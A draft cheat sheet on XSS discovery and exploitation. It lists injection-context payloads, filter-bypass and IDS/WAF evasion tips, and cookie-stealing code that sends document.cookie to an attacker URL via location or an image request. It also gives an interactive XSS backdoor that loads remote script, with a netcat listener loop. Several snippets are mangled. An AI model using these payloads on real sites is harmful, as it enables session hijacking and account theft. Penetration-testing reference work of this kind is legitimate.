Show Menu
Cheatography

XSS Discovery Cheat Sheet (DRAFT) by

This is a draft cheat sheet. It is a work in progress and is not finished yet.

Discovery Tests

Various types of payloads should be used in discovery.
Reflection tests use simple but unique strings to determine if the input is reflected. 86868686
Filter tests use characters to determine if there is filtering or encoding present. < > ( ) = ' " / ; [ ] $ -- # & //
POC payloads are input meant to attempt to demons­trate the presence of CSS **<­scr­ipt­>al­ert­("He­llo­!");­</s­cri­pt>

XSS Injection Points

Any user contro­llable app iput could prove vulner­able.
Submit innocuous but unique strings that allow for identi­fic­ation of our input in the response
Entry points include:
URL query parameter
POST parameters
HTTP headers including User-A­gent, Referer, Cookie

Reflection Tests

Reflected XSS provides immediate response reflected in input.
Stored XSS may not be immedi­ately rendered and can be in a totally different area of the app.
Unique variations of the input should be used o allow for easier identi­fic­ation of input resulting in XSS.

Common XSS Injection Contexts

Injection context is unders­tanding the contextual details of the response containing our input. It is critical to having JavaScript execute where our input lands.
Most common XSS injection contexts: HTML, Tag attribute, and existing JavaScript code
HTML Consid­era­tions: The payload can be self-c­ont­ained and doesn't require a particular prefix or suffix due to the context.
Tag Attribute Consid­era­tions: The prefix option to close value assignment and possibly lose the tag ">. Suffix usage is dependent on injected tags.
Existing JavaScript Consid­era­tions Suffix options include JS line terminator ; and sngle line comment delimiter //. Often will be within a JS function so closing parant­hesis might also be needed )
HTML Example
Payload: <img src="x" onerro­r=a­ler­t("a­tta­ck!­"­);/>
Resulting HTML: <di­v><­p>Are you ready? <img src="x" onerro­r=a­ler­t("a­tta­ck!­"­);/­></­p><­/di­v>

Tag Attribute Example
Event Injection: 868686­" onload­="al­ert(86)
Resultant HTML: <input type="t­ext­" name="x­ss" value=­"­868­686­" onload­="al­ert­(86­)">

Existing JavaScript Example
Payload: **86";a­ler­t(8­6);//
Resultant HTML: <sc­rip­t>var Variab­le=­"­86";­ale­rt(­86)­;//­"; </s­cri­pt>

Filter Tests and Bypass­/Ev­asion

Discov­ering injection points that yield immediate or delayed reflection != XSS vulner­ability
The next step would be to test for the presence and efficacy of filtering and encoding, as these are increa­singly common
Most filtering utilizing blackl­isting leaving room for evasion or bypass.
Goal is to determine whether and how filter­/en­coding is employed for succes­sfully crafting XSS payloads.
Target XSS payloads that specif­ically do NOT require filtered charac­ters.
Craft the payload to escape filter logic.
Encode the data to confuse or bypass the filter.
The <sc­rip­t> tag is one of the most commonly filtered tags, and next the angle brackets, but events can reference JavaScript without these. DOM Event Handlers sometimes provide a bypass, such as using onerror with a broken link.

Browser False Negatives

XSS payload execution depends on the particular vendor and version of the browser.
Most major browsers now have built-in XSS filtering capabi­lities. When testing for XSS a tester must make sure the browser isn't blocking the attack payload.
Options:
Use Firefox until it has active XSS filter, though it uses Conten­t-S­ecu­rit­y-P­olicy HTTP header it is not a formal standard
Use an older browser, though this can cause issues in rendering HTML5 or non-eval() JSON parsing
Fully disable XSS filtering
Remember the browser is not the focus of the assess­ment.
 

POC Payloads

There are prepared fuzzing payload collec­tions including Fuzzdb, JBroFuzz (part of ZAP), Burp, ZAP (JBroF­uzz­/fu­zzdb), and XSSer
Consid­era­tions should be made for stealth, by decreasing speed and changing payloads detection by IDS and WAFs can be reduced.

Upgrades to alert( )

POC will be a static alert(x), confirm(x) or prompt(x, y)
Demons­trate domain applic­ation context with alert(­doc­ume­nt.d­omain) or confir­m(d­ocu­men­t.d­omain)
Demons­trate sessio­n/c­ontent abuses with docume­nt.c­ookie or forged in-session Requests or defacement
Demons­trate external JavaScript loading with src="//­sec­uri­ty.o­rg­/ev­il.j­s"
Demons­trate advanced user attacks with framework through the use of BruteLogic XSS Shell, BeEF, Metasploit escala­tion, etc.

Session Hijacking

Achieved by stealing the tokens for a user's active session and reusing them.
Injected script is presented from the same origin as the session token, which allows for intera­ction directly with the page's DOM.
Key proper­ties, methods and events for session hijacking:
docume­nt.c­ookie is the most common target
docume­nt.URL query parameter
docume­nt.f­orms are hidden form fields and CSRF tokens
Using location to send data to a server we control will redirect the victim's browser which makes the attack more obvious.
Example: locati­on=­'UR­L'+­doc­ume­nt.c­ookie, locati­on.r­ep­lac­e('­URL­'+d­ocu­men­t.c­ookie)
Instead of using location, the fetch() API and function may also be used.
Note: docume­nt.l­oc­ation and window.lo­cation are relatively interc­han­geable.

Session Theft Without Redire­ction

For less obvious session theft create a broken image that points to the cookie catching JavaSc­ript.
<sc­rip­t>i­mg=new Image(); img.sr­c='­url­/co­oki­eca­tch­er.p­hp­?='­+do­cum­ent.co­oki­e'<­/sc­rip­t>
This assumes there is no HttpOnly flag set, which will restrict intera­ction with cookies to HTML only.
Leveraging HTTPS can help bypass egress filtering and so there is not issue with a Secure flag.

BruteLogic Intera­ctive XSS Backdoor

XSS Injection
<svg onload­=se­tIn­ter­val­(fu­nct­ion() {d=doc­ument; z=d.cr­eat­eEl­eme­nt(­"­scr­ipt­"); z.src=­"­URI­"; d.body.ap­pen­dCh­ild­(z)}, 0)>

Shell Controller (Terminal on Attacker Machine)
while: ; to printf "j $; read c; echo $c | nc -lvvp 1234 > /dev/null; done